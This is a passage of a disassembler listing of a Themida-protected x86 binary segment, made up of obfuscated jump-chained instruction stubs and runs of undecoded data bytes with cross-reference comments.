; ---------------------------------------------------------------------------
db 5
dd 4, 44D1E9h
db 0
; ---------------------------------------------------------------------------
loc_50C711: ; CODE XREF: Themida_:005060FBj
xor [esp], edi
jmp loc_515E64
; ---------------------------------------------------------------------------
db 55h, 0E9h, 0A0h
db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50C71F: ; CODE XREF: Themida_:00511DD8j
pop edx
add ebx, ecx
mov ecx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_50CF36
; ---------------------------------------------------------------------------
loc_50C739: ; CODE XREF: Themida_:00511B5Bj
pop ebp
jmp loc_50BB69
; ---------------------------------------------------------------------------
db 89h
dd 58C389E8h, 0A48B95Dh, 0D901325Ah, 81241C8Bh, 4C4h, 0F5E98100h
dd 81F1EC13h, 1E0A39EAh, 48E95046h, 830000B0h, 0D8F704C4h
dd 2D40D8F7h, 3C5C3C1Bh, 5658C289h, 0E5E9D689h, 0C0FFFFC2h
dd 0EE8004EEh, 1BD5E9F7h, 0E9530000h, 0B598h
; ---------------------------------------------------------------------------
loc_50C790: ; CODE XREF: Themida_:00502E8Dj
mov ebp, [esp]
add esp, 4
or edx, eax
shl edx, 1
push ebp
mov ebp, 1
sub esp, 4
mov [esp], edx
push ebp
push 62920819h
jmp loc_504151
; ---------------------------------------------------------------------------
db 0B9h
dd 18910BF8h, 0FFEC78E9h, 89D989FFh, 240C8BC8h, 4C481h
dd 0FAE90000h, 81000030h, 6C209EC1h, 5860E90Dh, 0FA890000h
dd 5AD7015Fh, 8B243C87h, 8B662424h, 33682404h, 89000024h
dd 0DB68240Ch, 5400007Bh, 8324048Fh, 0FF042404h, 0C8B2434h
dd 4EC8124h, 0E9000000h, 0FFFFC296h, 6150685Bh, 1C890000h
dd 4EC8324h, 89240C89h, 4C181E1h, 52000000h, 4BAh, 5AD12900h
dd 6B4CE9h, 2BB00h, 0DA010000h, 83241C8Bh, 148704C4h, 0EF805C24h
dd 19B15172h, 8C9F180h, 0A9F3E9CFh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50C85A: ; CODE XREF: Themida_:005030D6j
pop edi
inc edi
inc edi
jmp loc_50EE75
; ---------------------------------------------------------------------------
dw 0BE56h
dd 67FD0353h, 0B2C6814Eh, 19802FCh, 9908E9F3h, 0AB60000h
dd 5A66F730h, 505BFA88h, 0E18820B4h, 5AD13058h, 0F59CB00h
dd 34FFC0B6h, 0E1895187h, 2EDAE956h, 0E7810000h, 3136053Ah
dd 6E9CEF81h, 0F7810835h, 2793D6CDh, 0E95FFB21h, 3D33h
; ---------------------------------------------------------------------------
loc_50C8B4: ; CODE XREF: Themida_:00507ADDj
add eax, 5D6C5CF3h
push dword ptr [eax]
pop ecx
mov eax, [esp]
add esp, 4
push eax
jmp loc_516485
; ---------------------------------------------------------------------------
loc_50C8CB: ; CODE XREF: Themida_:00510BB9j
shl ebx, 4
jmp loc_5116D7
; ---------------------------------------------------------------------------
aIrsmm db '‰à鬌',0
align 2
loc_50C8DA: ; CODE XREF: Themida_:0050D90Cj
mov ebx, 605CB4h
or ebx, 4C635582h
jmp loc_50FDB5
; ---------------------------------------------------------------------------
dw 8143h
dd 937699C3h, 5BDD3121h, 3792C581h, 0BE563483h, 7D4C7B32h
dd 42E7E681h, 814E7860h, 0C60486EEh, 0DEF74677h, 8983E9h
db 0
; ---------------------------------------------------------------------------
loc_50C915: ; CODE XREF: Themida_:0050C469j
sub ebp, 16342CDDh
mov eax, [esp]
add esp, 4
jmp loc_515058
; ---------------------------------------------------------------------------
dw 815Bh
dd 590D80C2h, 7352E95Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50C932: ; CODE XREF: Themida_:0050C301j
add ecx, 4
xchg ecx, [esp]
jmp loc_507C67
; ---------------------------------------------------------------------------
db 81h, 0E9h, 95h
dd 0E901D130h, 2864h, 0C8BCB89h, 4C48124h, 0E9000000h
dd 0FFFFF8F0h
; ---------------------------------------------------------------------------
loc_50C958: ; CODE XREF: Themida_:0050F454j
mov bl, 49h
xor ah, bl
jmp loc_504D9D
; ---------------------------------------------------------------------------
db 0B8h, 52h, 2Ch
dd 0E8C11979h, 20BA5207h, 81298A6Fh, 0EE1B48C2h, 0FFEA833Ch
dd 0DCEF281h, 2EE96CAEh
db 6Ah, 2 dup(0FFh)
byte_50C983 db 66h ; DATA XREF: Themida_:005028DCo
dd 0E9240C8Bh, 0FFFFCACFh
; ---------------------------------------------------------------------------
loc_50C98C: ; CODE XREF: Themida_:0050496Ej
push 14A74485h
jmp loc_5042C6
; ---------------------------------------------------------------------------
loc_50C996: ; CODE XREF: Themida_:0051549Ej
add esp, 4
sub ecx, 241A664Ch
xor ecx, 459FCABDh
push 5EEEh
mov [esp], ebx
push 4D5Eh
mov [esp], esi
mov esi, ecx
push ecx
mov ecx, esi
mov ebx, ecx
pop ecx
pop esi
push ebx
jmp loc_509E52
; ---------------------------------------------------------------------------
loc_50C9C7: ; CODE XREF: Themida_:00517F39j
xor edi, edx
jmp loc_517F5B
; ---------------------------------------------------------------------------
loc_50C9CE: ; CODE XREF: Themida_:0050EA40j
push 0F5h
mov [esp], esi
jmp loc_50A1F7
; ---------------------------------------------------------------------------
loc_50C9DB: ; CODE XREF: Themida_:00504AEDj
xchg ecx, edx
not ecx
xchg ecx, edx
jmp loc_50EA45
; ---------------------------------------------------------------------------
dd offset loc_418E67+1
dw 0E900h
dd 532Ch
; ---------------------------------------------------------------------------
loc_50C9F0: ; CODE XREF: Themida_:0050AB1Aj
mov esi, [esp]
add esp, 4
push ecx
push 6B2Ah
mov [esp], eax
push 4A9D32CCh
pop eax
push edx
sub esp, 4
mov [esp], eax
jmp loc_50C163
; ---------------------------------------------------------------------------
dword_50CA14 dd 24048B66h, 3F6968h, 24348900h, 9E13E954h, 0B951FFFFh
; DATA XREF: Themida_:00502840o
dd 6C7913FEh, 7EE9CF01h, 810000AEh, 0FD4F95F1h, 3016801h
dd 0C890000h, 38428F24h, 4EC8159h, 0E9000000h, 55E6h, 0C09FCB80h
dd 0F38003EBh, 5BDE08E8h, 0E6C0CEFEh, 0BDF68002h, 285AF300h
dd 0B978E9C3h, 34FFFFFFh, 242C8B24h, 4C481h, 0C4810000h
dd 4, 5768EA29h, 89000010h, 1EE92404h, 6600008Ah, 51241C8Bh
dd 0C181E189h, 4, 8702C183h, 0E95C240Ch, 0FFFFBCD7h, 0CE95340h
dd 68FFFFF5h, 1BE0h, 0BD242C89h, 4A4B41E9h, 0E904EC83h
dd 0FFFFA18Eh, 312733BEh, 0C1DEF753h, 0EE8103EEh, 1166787h
dd 348BF129h, 4C48124h, 5B000000h, 19A4E181h, 0E98177E6h
dd 2274F40Fh, 8159CD09h, 7F1DADEDh, 5B8507Bh, 2922A03Dh
dd 0E90158C1h, 52D8E9h
db 0
; ---------------------------------------------------------------------------
loc_50CB05: ; CODE XREF: Themida_:00512DF6j
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
push 74D9h
mov [esp], ecx
push esi
mov esi, esp
add esi, 4
push edx
mov edx, 2
sub esi, edx
jmp loc_515977
; ---------------------------------------------------------------------------
dd 89241489h, 4BF57E2h, 1000000h, 243C8BFAh, 8304C483h
dd 0E0E904ECh, 0BE000071h, 0D727E7h, 373DE9h, 3AE98100h
dd 185A8EFh, 0EA8359CAh, 24148704h, 2414895Ch, 0C1E9E289h
dd 8BFFFFAAh, 68662424h, 896646EFh, 0F6B7241Ch, 0E970B652h
dd 0A54Fh, 5C240C87h, 6FB9E951h, 1C890000h, 0FE95424h
dd 56FFFFBEh, 0FF8ACAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_50CBA5: ; CODE XREF: Themida_:005178FCj
mov ebx, [esp]
sub esp, 4
mov [esp], ebp
mov ebp, esp
sub esp, 4
mov [esp], ebx
push ecx
mov ecx, 559F4CD7h
neg ecx
dec ecx
and ecx, 50EC63BBh
jmp loc_503B4D
; ---------------------------------------------------------------------------
db 0F7h, 0DEh, 0E9h
dd 172Ah, 0FF5EF2E9h, 685750FFh, 480F1F4Dh, 0FF7F9AE9h
dd 0C2815AFFh, 5CFC6574h, 0FFF888E9h, 243C8BFFh, 14FEE955h
dd 215A0000h, 0F28158C2h, 3C17C2BBh, 6DE9D331h, 290000ADh
dd 682D5DEAh, 5686C49h, 4DF03E69h, 692DD001h, 524DF03Eh
dd 6C4968BAh, 5AD00168h, 4EC815Ah, 89000000h, 26E92404h
dd 0BE000063h, 3A7167h, 2D14E9h
db 0
; ---------------------------------------------------------------------------
loc_50CC41: ; CODE XREF: Themida_:0050FC7Fj
xor ebp, 4C6A554Dh
sub ebp, 0EA5C3FEDh
mov eax, 0CB402E4Bh
sub eax, 783B0A65h
jmp loc_508A9E
; ---------------------------------------------------------------------------
loc_50CC5C: ; CODE XREF: Themida_:00512B9Dj
pop ebx
jmp loc_515F6C
; ---------------------------------------------------------------------------
dw 815Ah
dd 0D9F5CBC5h, 5DE829D9h, 2404875Eh, 2104E9h, 66E95900h
dd 0BF000053h, 3FFBFCF3h, 0E95FFD31h, 0FFFF98D5h, 0CE9E689h
dd 0BDFFFF90h, 1DC1772Dh, 34FFEA31h, 242C8B24h, 8104C483h
dd 4C4h, 68525600h, 59611D57h, 86C0BE5Ah, 0D62985AEh, 5EF2315Ah
dd 2C5868h, 24148900h, 24148B5Bh, 8104C483h, 0DA31B3EBh
dd 5BD83169h, 0E904EC83h, 0FFFF684Ah, 4C381h, 0C3810000h
dd 4, 0FF9CF2E9h, 5EF589FFh, 4F2DED81h, 0BE561B99h, 46D409Ch
dd 0EDB7C681h, 0EEC1085Fh, 93EE8102h, 2903334Bh, 814D5EF5h
dd 9CF133EDh, 5DE901F2h, 0FFE271E9h, 4BF57FFh, 29000000h
dd 39E95FFAh, 52000056h, 88E38853h, 0AEE95BDEh
db 98h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50CD33: ; CODE XREF: Themida_:0050AF7Ej
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ebx
mov ebx, 4
add ebp, ebx
jmp loc_50B155
; ---------------------------------------------------------------------------
db 88h, 0C1h, 88h
dd 240C8BCBh, 4C481h, 48B0000h, 4C48124h, 4000000h, 0E9D828EBh
dd 41D2h, 8904EC83h, 0D1E92434h
db 73h, 2 dup(0)
aM0SfqYiqsW db '¬0ØSfQµYˆïéÃw',0 ; DATA XREF: Themida_:00502898o
align 2
dw 0BB66h
dd 296664F7h, 6602245Ch, 0E9241C8Bh, 9310h
; ---------------------------------------------------------------------------
loc_50CD94: ; CODE XREF: Themida_:0050D4FFj
xor eax, [esp]
pop esp
sub esp, 4
jmp loc_50F7E3
; ---------------------------------------------------------------------------
loc_50CDA3: ; CODE XREF: Themida_:0051313Bj
shl cl, 3
dec cl
add cl, 7Eh
sub bl, cl
pop ecx
sub bl, ah
jmp loc_50ADC6
; ---------------------------------------------------------------------------
db 0E9h, 11h, 5Dh
dd 0EF01FFFFh, 4C7815Dh, 68000000h, 6856h, 0FF243C89h
dd 8B042474h, 0C483243Ch, 24048F04h, 0FFCE97E9h, 0E9DE01FFh
dd 0FFFFC398h, 0D0A68h, 242C8900h, 2434FF54h, 0E92434FFh
dd 0FFFFBF7Fh, 0A3ACE950h, 0D1F7FFFFh, 0AC25E9h, 14895C00h
dd 0BA24h, 0EC810000h, 4, 68241C89h, 30C5624Eh, 54EB815Bh
dd 436A4D20h, 0C412E953h, 0E389FFFFh, 4C381h, 0E9520000h
dd 1C52h, 53846855h, 0C890000h, 0A03B924h, 0E95025DAh
dd 0FFFFFB15h, 0E958C589h, 0FFFFC4CBh
; ---------------------------------------------------------------------------
loc_50CE54: ; CODE XREF: Themida_:00516AD9j
pop esp
mov [esp], esi
mov esi, 0FFFFFFFFh
jmp loc_5143DD
; ---------------------------------------------------------------------------
loc_50CE62: ; CODE XREF: Themida_:0051794Bj
add ecx, 12510E44h
jmp loc_515927
; ---------------------------------------------------------------------------
db 2Dh, 4, 0
dd 0FF500000h, 58042474h, 5C24048Fh, 0A722E9h, 3D4CB900h
dd 0A0E9CA05h
db 0DDh, 2 dup(0FFh)
byte_50CE8B db 0ADh ; DATA XREF: Themida_:005028A8o
dd 8C6F2105h, 56D80169h, 8C6F21BEh, 0DCBD5569h, 29595312h
dd 0F0295DE8h, 12DCBA52h, 0D0015953h, 8FB5E95Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50CEB2: ; CODE XREF: Themida_:0050EBB4j
add esi, 33F22AEBh
shr esi, 8
not esi
jmp loc_50E6AA
; ---------------------------------------------------------------------------
loc_50CEC2: ; CODE XREF: Themida_:00509C57j
xchg ebp, [esp]
pop esp
jmp loc_5158B6
; ---------------------------------------------------------------------------
byte_50CECB db 66h ; DATA XREF: Themida_:00502904o
dd 8324048Bh, 348904ECh, 685E5424h, 211Fh, 0B8240489h
dd 4, 29A7E9h, 4EE8300h, 8B243487h, 0C892424h, 7EA9E924h
dd 0E831FFFFh, 8BC2895Dh, 0C4832404h, 626EE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50CF0A: ; CODE XREF: Themida_:00515065j
mov [esp], ecx
push ebx
pop ecx
push esi
mov esi, ecx
mov eax, esi
jmp loc_505447
; ---------------------------------------------------------------------------
db 5Bh, 0E9h, 0Fh
dd 53000063h, 0C137ADBBh, 13C38102h, 810AD550h, 0FC3AFEEBh
dd 37A9E956h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50CF36: ; CODE XREF: Themida_:0050C734j
push esi
jmp loc_5048AC
; ---------------------------------------------------------------------------
dd 0E9240489h, 0FFFFDEEDh, 0E92434FFh, 0FFFFE1EDh
; ---------------------------------------------------------------------------
loc_50CF4C: ; CODE XREF: Themida_:0051035Ej
mov [esp], esi
jmp loc_509860
; ---------------------------------------------------------------------------
dd 5251C328h, 66D2B753h, 0F914E952h, 34FFFFFFh, 0C4815B24h
dd 4, 0FF1C4721h, 83582434h, 50E904C4h, 81FFFF5Bh, 325952E9h
dd 0FFCB89A7h, 0E9592434h, 8061h, 0BD242C89h, 2CBE533Eh
dd 8819E9h, 0EF816600h, 29665C7Bh, 1665FFEh, 5665EF0h
dd 2D6641ABh, 1663217h, 0C21EE9D8h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50CFB6: ; CODE XREF: Themida_:00505959j
xor eax, ecx
push ecx
mov ecx, esp
jmp loc_51793A
; ---------------------------------------------------------------------------
loc_50CFC0: ; CODE XREF: Themida_:0050FC2Aj
push esi
mov esi, 68B035A8h
jmp loc_5109BF
; ---------------------------------------------------------------------------
db 83h
dd 0ED8004C4h, 21EF80E9h, 5266EF00h, 0F70021B6h, 0BE95A66h
dd 81000008h, 0C5367CC7h, 11F78172h, 29DC0FE1h, 243C8BF8h
dd 2904C483h, 7D6C05D8h, 1C8B12BBh, 4C48324h, 0FF5DCFE9h
dd 0D0E959FFh
db 43h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50D00F: ; CODE XREF: Themida_:005054EDj
pop ebp
add [esp+8], ebx
pop ebx
push 665Eh
mov [esp], ebp
mov ebp, esp
add ebp, 4
jmp loc_508769
; ---------------------------------------------------------------------------
loc_50D02A: ; CODE XREF: Themida_:00507D0Ej
push ebx
mov ebx, 56561AEDh
xor ebx, 15B07077h
jmp loc_515B25
; ---------------------------------------------------------------------------
loc_50D03B: ; CODE XREF: Themida_:005144D1j
pop edx
add ch, 94h
jmp loc_510EDE
; ---------------------------------------------------------------------------
dd 0FF240487h, 0D0E92434h, 8BFFFFA9h, 0C481240Ch, 4, 0F706E0C1h
dd 36CE05D0h, 0CE252988h, 0E94BAA60h, 1D8Eh, 24048F5Ch
dd 6824248Bh, 56EDh, 0E9241489h, 0FFFF6E88h
; ---------------------------------------------------------------------------
loc_50D080: ; CODE XREF: Themida_:00515847j
dec ecx
add ecx, 0FADD9445h
jmp loc_5125F7
; ---------------------------------------------------------------------------
loc_50D08C: ; CODE XREF: Themida_:00516620j
sub edx, ebp
add edx, 1B6A4233h
pop ebp
add edx, eax
add edx, 23D06F6Ch
jmp loc_50FE00
; ---------------------------------------------------------------------------
word_50D0A2 dw 34FFh ; DATA XREF: Themida_:00502A54o
dd 0EBE95824h, 58FFFFBCh, 0E924048Fh, 0FFFF5E0Ch, 85A4E955h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50D0BA: ; CODE XREF: Themida_:005056CBj
add esp, 4
pop dword ptr [esp]
pop esp
movzx ecx, ax
push esi
mov esi, esp
add esi, 4
jmp loc_50F050
; ---------------------------------------------------------------------------
dw 0BF57h
dd 53A41136h, 94F78147h, 0C118C271h, 0C9E908EFh, 0B8FFFF86h
dd 4, 0FFA382E9h, 0A8F68FFh, 15E90000h, 81FFFFE8h, 4C4h
dd 0E9D60100h, 631Bh, 2414F753h, 0E9935Bh, 550000A7h, 9B2EE9h
dd 35CF8100h, 0E947FD7Dh, 122Fh
; ---------------------------------------------------------------------------
loc_50D124: ; CODE XREF: Themida_:00515F13j
mov edx, [esp]
add esp, 4
jmp loc_50AD84
; ---------------------------------------------------------------------------
db 0F7h
dd 5CF968F1h, 14890000h, 0E99C5024h, 0FFFF598Bh
; ---------------------------------------------------------------------------
loc_50D140: ; CODE XREF: Themida_:00503C20j
mov ecx, ebp
jmp loc_507848
; ---------------------------------------------------------------------------
db 0C1h
dd 4DE905EBh, 5FFFFFA8h, 28B768h, 24048900h, 0E8E95755h
db 7Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50D15F: ; CODE XREF: Themida_:00505340j
sub ebp, 0F92140D3h
mov ecx, ebp
pop ebp
sub edi, ecx
pop ecx
add ebp, edi
push dword ptr [esp]
push dword ptr [esp]
pop edi
push edx
mov edx, esp
push eax
push ebx
push 0E8931DEh
pop ebx
add ebx, 665A2B5Fh
jmp loc_50301D
; ---------------------------------------------------------------------------
dw 0FF5Ch
dd 36E92434h
db 6, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50D193: ; CODE XREF: Themida_:0050BF72j
mov eax, 51E93698h
and eax, 57D4113h
and eax, 69737132h
not eax
and eax, 5E7E4375h
sub eax, 4A821F42h
add edx, eax
pop eax
jmp loc_516284
; ---------------------------------------------------------------------------
dw 15Eh
dd 49D605F0h, 0E95E6637h, 9003h
; ---------------------------------------------------------------------------
loc_50D1C4: ; CODE XREF: Themida_:005082A0j
or eax, eax
jz loc_509FE1
push 61D8h
mov [esp], ecx
jmp loc_50930F
; ---------------------------------------------------------------------------
db 68h, 0ADh, 3Eh
dd 14890000h, 4DE95424h, 8900007Ch, 4C781E7h, 83000000h
dd 3C8704C7h, 24248B24h, 1C8BD889h, 0F111E924h, 555DFFFFh
dd 0FFCBC8E9h, 58BDE9FFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50D20E: ; CODE XREF: Themida_:00505297j
xchg ecx, [esp]
pop esp
push ebp
jmp loc_504958
; ---------------------------------------------------------------------------
loc_50D218: ; CODE XREF: Themida_:00502D8Ej
pop eax
add ebp, eax
pop eax
push eax
push ecx
mov ecx, 2
mov eax, ecx
pop ecx
add ebp, eax
push dword ptr [esp]
pop eax
add esp, 4
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_516587
; ---------------------------------------------------------------------------
loc_50D24C: ; CODE XREF: Themida_:0050775Fj
push dword ptr [esp]
pop ecx
add esp, 4
push 2D3Eh
mov [esp], edi
push esp
pop edi
add edi, 4
push edx
mov edx, 4
sub edi, 627760A7h
jmp loc_507B69
; ---------------------------------------------------------------------------
loc_50D277: ; CODE XREF: Themida_:0050FEB8j
pop ecx
add edi, 4
xchg edi, [esp]
mov esp, [esp]
jmp loc_505DCD
; ---------------------------------------------------------------------------
dw 0D4BBh
dd 3124E51Ch, 2434FFDAh, 4C4815Bh, 81000000h, 7F1954EBh
dd 68D3016Bh, 6F39h, 0BF243C89h, 6CBA6280h, 5DE9C781h
dd 0CF8175DCh, 50152C8Eh, 0D410F781h, 54E9DCE2h, 5DFFFFDAh
dd 8B2434FFh, 0C4832404h, 0E2895204h, 4C281h, 10E90000h
dd 1000036h, 0BA525DEEh, 4, 0E95AD601h, 0FFFFD065h, 5266C328h
dd 0D300FEB2h, 24148B66h, 6602C483h, 6EA06850h, 0C890000h
dd 8857B124h, 686659CCh, 89661D04h, 33B02404h, 5866C300h
dd 46E9E328h
db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50D31F: ; CODE XREF: Themida_:005033ACj
sub edx, 4
xchg edx, [esp]
pop esp
jmp loc_516E6A
; ---------------------------------------------------------------------------
db 29h
dd 67E951C3h, 1FFFF6Eh, 7AB850DEh, 0E905902Dh, 3B4Bh, 5BFDE955h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50D346: ; CODE XREF: Themida_:00515270j
push dword ptr [esp]
pop edx
push 4CDDh
jmp loc_506518
; ---------------------------------------------------------------------------
dd 537BBF57h, 12E959AAh, 0BA00005Dh, 1A4E090Ch, 7983EA81h
dd 2AE948D7h, 8F000075h, 248B2404h, 24042124h, 574DE99Ch
dd 0EC81FFFFh, 4, 0BF243C89h, 19B75055h, 5230B951h, 0C1816E9Eh
dd 0F146F0Dh, 3DFCE9h, 4BA00h, 8EE90000h, 100009Bh, 5EE81D6h
dd 0E952FB5Ch, 0FFFFE990h, 0E92434FFh, 0FFFFD7A0h, 0CC922E2Dh
dd 0E9C60128h, 4F49h, 95BB6653h, 66536674h, 0D25AE956h
dd 48BFFFFh, 4C48324h, 4C481h, 0BD550000h, 4, 826DE9h
dd 4C28100h, 81000000h, 4C2h, 24148700h, 0BF31E95Ch, 0E789FFFFh
dd 2B54E9h, 87595F00h, 0E95C2414h, 0FFFF56B7h, 181D98BAh
dd 5AD0013Dh, 6BC1E9h, 0C1815900h, 4B1D4718h, 66E9CA21h
dd 1FFFF93h, 241C8BD8h, 4C481h, 4AE90000h
db 2, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50D43F: ; CODE XREF: Themida_:005174E9j
push ebx
mov ebx, 50BC35F8h
xor ebx, 76741A88h
jmp loc_517A1C
; ---------------------------------------------------------------------------
dd 0E332EB81h, 0DD890957h, 6703E9h, 4C28100h, 83000000h
dd 148704C2h, 0A0F3E924h, 682DFFFFh, 2D755319h, 564504FDh
dd 81241C8Bh, 4C4h, 0EE3FE900h, 0C681FFFFh, 1144C77Bh
dd 685EF731h, 5509h, 57243C89h, 254BE9h
db 0
; ---------------------------------------------------------------------------
loc_50D49D: ; CODE XREF: Themida_:0050DD54j
add ecx, 4FDB082Bh
sub ecx, ebx
push ebx
mov ebx, 4FDB082Bh
add ecx, 7E14558Eh
sub ecx, ebx
sub ecx, 7E14558Eh
push dword ptr [esp]
pop ebx
jmp loc_510507
; ---------------------------------------------------------------------------
loc_50D4C2: ; CODE XREF: Themida_:0050892Fj
xchg edi, [esp]
pop esp
mov eax, edx
pop edx
add [esp+4], eax
mov eax, [esp]
sub esp, 4
mov [esp], ebx
mov ebx, esp
jmp loc_50EBAE
; ---------------------------------------------------------------------------
loc_50D4E0: ; CODE XREF: Themida_:00507843j
pop ebp
push edi
mov edi, 4
add eax, 57F24208h
add eax, edi
sub eax, 57F24208h
mov edi, [esp]
add esp, 4
xor eax, [esp]
xor [esp], eax
jmp loc_50CD94
; ---------------------------------------------------------------------------
loc_50D504: ; CODE XREF: Themida_:0050C04Dj
xchg ebp, [esp]
jmp loc_50B982
; ---------------------------------------------------------------------------
loc_50D50C: ; CODE XREF: Themida_:00514A12j
xor ebx, [esp]
jmp loc_50E71C
; ---------------------------------------------------------------------------
dd 0D90BCBB8h, 0E9E801E7h, 9DAAh, 0C71B2D05h, 7080E933h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50D52A: ; CODE XREF: Themida_:00509433j
push eax
mov eax, 75831C85h
jmp loc_512C14
; ---------------------------------------------------------------------------
loc_50D535: ; CODE XREF: Themida_:0050674Dj
mov edi, 72123D61h
sub ecx, edi
pop edi
mov ebx, ecx
pop ecx
add esi, ebx
mov ebx, [esp]
add esp, 4
xchg esi, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], eax
mov eax, 20h
push ebp
mov ebp, 27313AF4h
add eax, ebp
pop ebp
sub eax, 7303DAEh
add eax, edi
add eax, 7303DAEh
sub eax, 27313AF4h
mov dword ptr [eax], 2C292640h
jmp loc_509407
; ---------------------------------------------------------------------------
dd 5AFDB951h, 0E9490A24h, 0FFFFE182h, 0BBE9FE88h
db 7Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50D597: ; CODE XREF: Themida_:00503D6Bj
mov [esp], edx
push dword ptr [esp]
pop eax
add esp, 4
push dword ptr [esp]
pop edx
push edi
jmp loc_50DA5D
; ---------------------------------------------------------------------------
dw 0C681h
dd 4, 5604EE83h, 42474FFh, 24048F5Eh, 240C895Ch, 0FFBB68E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_50D5C9: ; CODE XREF: Themida_:0050BE00j
mov [esp], ecx
mov ecx, esp
push eax
push 27F03E00h
jmp loc_50E577
; ---------------------------------------------------------------------------
loc_50D5D9: ; CODE XREF: Themida_:005161E2j
push edi
jmp loc_50527A
; ---------------------------------------------------------------------------
db 0E9h
dd 0FFFF54E7h, 0AE6AE953h, 0EB81FFFFh, 283C1DEEh, 0DC8B951h
dd 0D187433Eh, 0D131DAF7h, 0D131CA31h, 249FE9h, 24343300h
dd 8CFCE95Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50D60E: ; CODE XREF: Themida_:005090EDj
sub esp, 4
mov [esp], ecx
push 0EA40B42h
mov ecx, [esp]
add esp, 4
or ecx, 341F3C4Fh
xor ecx, 4D325AA3h
jmp loc_5098F3
; ---------------------------------------------------------------------------
dd 8104C483h, 4ECh, 24048900h, 4B8h, 4FC28100h, 1644B53h
dd 4FB951C2h, 29644B53h, 240C8BCAh, 4C481h, 12E90000h
dd 5A00006Eh, 3768C301h, 89000005h, 69E9242Ch, 52FFFF9Fh
dd 0EA809FB2h, 8BD02882h, 0C4812414h, 4, 1D04D800h, 0FFA2D1E9h
dd 240433FFh, 33240431h, 248B2404h, 2434FF24h, 8B2434FFh
dd 0C4832404h, 4C48304h, 53CA68h, 90FCE900h, 15A0000h
dd 0B5C581CDh, 814D8327h, 830BFEC5h, 240C8B4Fh, 3304C483h
dd 2C31242Ch, 242C3324h, 0E924248Bh, 0FFFF7049h
; ---------------------------------------------------------------------------
loc_50D6D4: ; CODE XREF: Themida_:00504F15j
sub ecx, 3FD40A83h
jmp loc_50BEBA
; ---------------------------------------------------------------------------
loc_50D6DF: ; CODE XREF: Themida_:005149B5j
sub ebp, 1A9F67Ch
add esi, ebp
pop ebp
add esi, 4
sub esp, 4
mov [esp], esi
jmp loc_51588D
; ---------------------------------------------------------------------------
loc_50D6F9: ; CODE XREF: Themida_:00507895j
mov ecx, 7BD00056h
mov edx, 279D1B94h
xor edx, ecx
mov ecx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_51289C
; ---------------------------------------------------------------------------
dd 81664566h, 0E90FD7C5h, 0FFFF8397h
; ---------------------------------------------------------------------------
loc_50D728: ; CODE XREF: Themida_:0050D9F7j
pop ebp
xchg ecx, edx
not edx
push 4F73h
mov [esp], ecx
jmp loc_50A5A6
; ---------------------------------------------------------------------------
dw 0EA31h
dd 83C1815Dh, 0E979ED11h, 0FFFFD7E9h
; ---------------------------------------------------------------------------
loc_50D748: ; CODE XREF: Themida_:00506196j
xchg esi, ebx
not esi
xchg esi, ebx
xchg ebx, ecx
xchg ecx, ebp
xor edi, ebp
jmp loc_513AF2
; ---------------------------------------------------------------------------
db 5, 0BFh, 78h
dd 34FF35C6h, 4B9AE924h, 0EA800000h, 0D1885102h, 5BE9CB88h
dd 0F600006Ch, 66592414h, 88C88850h, 0D4C6E9F1h, 0B951FFFFh
dd 3D7F1224h, 0B850D9F7h, 0AAC0791Ah, 2958C101h, 67A8E9CAh
dd 0F7090000h, 1F7815Eh, 8767B576h, 199468F7h, 8AE90000h
dd 68000099h, 3653h, 0B9240C89h, 4, 5749C281h, 0CA015CA0h
dd 0FFD691E9h, 24048BFFh, 81E28952h, 4C2h, 4C28300h, 31241433h
dd 14332414h, 24248B24h, 272468h, 51D6E900h, 30590000h
dd 241C8BF8h, 6D07E957h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50D7FA: ; CODE XREF: Themida_:005141CBj
mov cl, 58h
xor cl, bl
jmp loc_51194A
; ---------------------------------------------------------------------------
loc_50D803: ; CODE XREF: Themida_:00510998j
mov ebp, ebx
pop ebx
push 0
sub dword ptr [esp], 487668F1h
jmp loc_5163A9
; ---------------------------------------------------------------------------
loc_50D817: ; CODE XREF: Themida_:0050664Cj
and eax, edx
push dword ptr [esp]
jmp loc_50AAD0
; ---------------------------------------------------------------------------
db 1, 0C2h, 58h
dd 0E9241487h, 1B48h, 8324048Bh, 575304C4h, 7A4707BFh
dd 470BBB48h, 0EAE9487Ah, 0BAFFFFD9h, 7B5A35D6h, 5A35D2BEh
dd 5AD6317Bh, 5550E9h, 0A7F78100h, 8142D860h, 4742BF7h
dd 8E7C1B7h, 4F01EF83h, 74E9D7F7h, 5FFFFFF7h, 4B951h, 0EF810000h
dd 5B00190h, 4E76EF81h, 0CF013D30h, 4E76C781h, 0EE93D30h
dd 87000056h, 248B243Ch, 243C8924h, 772668h, 242C8900h
dd 0FFE721E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_50D8A5: ; CODE XREF: Themida_:0050BD3Fj
